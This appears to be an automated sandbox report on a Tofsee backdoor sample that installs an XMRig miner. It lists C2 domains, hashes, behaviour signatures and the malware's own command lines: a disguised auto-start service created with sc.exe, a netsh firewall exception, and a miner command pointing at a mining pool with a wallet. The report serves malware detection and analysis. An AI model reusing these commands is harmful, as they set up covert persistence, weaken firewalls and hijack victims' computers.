Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    14/11/2022, 14:07

General

  • Target
    file.exe
  • Size 308KB
  • Sample221114-reyxwaca53
  • SHA256 ec4d4cbe7e0ad20c33c4a1e7930ec1b853dfc84d0ff2d45bfb53e4503dea6121
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vasajenp\
      2⤵
        PID:1724
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\admxxttq.exe" C:\Windows\SysWOW64\vasajenp\
        2⤵
          PID:1700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vasajenp binPath= "C:\Windows\SysWOW64\vasajenp\admxxttq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vasajenp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vasajenp
          2⤵
          • Launches sc.exe
          PID:1768
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:520
      • C:\Windows\SysWOW64\vasajenp\admxxttq.exe
        C:\Windows\SysWOW64\vasajenp\admxxttq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:676
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:956
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1460

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            admxxttq.exe

            • Path C:\Users\Admin\AppData\Local\Temp\admxxttq.exe
            • Size 13.2MB
            • SHA256 0c59dd1a18888d3d8a1d06da44b2dfda25dd2a55640c14534e2af1d6b46e399c
            • MD5 SHA1 SHA512 SSDEEP

            admxxttq.exe

            • Path C:\Windows\SysWOW64\vasajenp\admxxttq.exe
            • Size 13.2MB
            • SHA256 0c59dd1a18888d3d8a1d06da44b2dfda25dd2a55640c14534e2af1d6b46e399c
            • MD5 SHA1 SHA512 SSDEEP

            memory/676-76-0x00000000009D8000-0x00000000009EE000-memory.dmp

            memory/676-79-0x0000000000400000-0x0000000000850000-memory.dmp

            memory/676-70-0x00000000009D8000-0x00000000009EE000-memory.dmp

            memory/956-86-0x0000000000150000-0x0000000000156000-memory.dmp

            memory/956-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/956-82-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/956-74-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/956-98-0x00000000002E0000-0x00000000002E7000-memory.dmp

            memory/956-95-0x0000000005740000-0x0000000005B4B000-memory.dmp

            memory/956-92-0x0000000000170000-0x0000000000175000-memory.dmp

            memory/956-89-0x0000000000160000-0x0000000000170000-memory.dmp

            memory/956-83-0x0000000001D30000-0x0000000001F3F000-memory.dmp

            memory/956-81-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1460-101-0x00000000001D0000-0x00000000002C1000-memory.dmp

            memory/1460-103-0x00000000001D0000-0x00000000002C1000-memory.dmp

            memory/1964-55-0x0000000076411000-0x0000000076413000-memory.dmp

            memory/1964-57-0x00000000009C8000-0x00000000009DE000-memory.dmp

            memory/1964-54-0x00000000009C8000-0x00000000009DE000-memory.dmp

            memory/1964-68-0x0000000000400000-0x0000000000850000-memory.dmp

            memory/1964-67-0x00000000009C8000-0x00000000009DE000-memory.dmp

            memory/1964-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1964-59-0x0000000000400000-0x0000000000850000-memory.dmp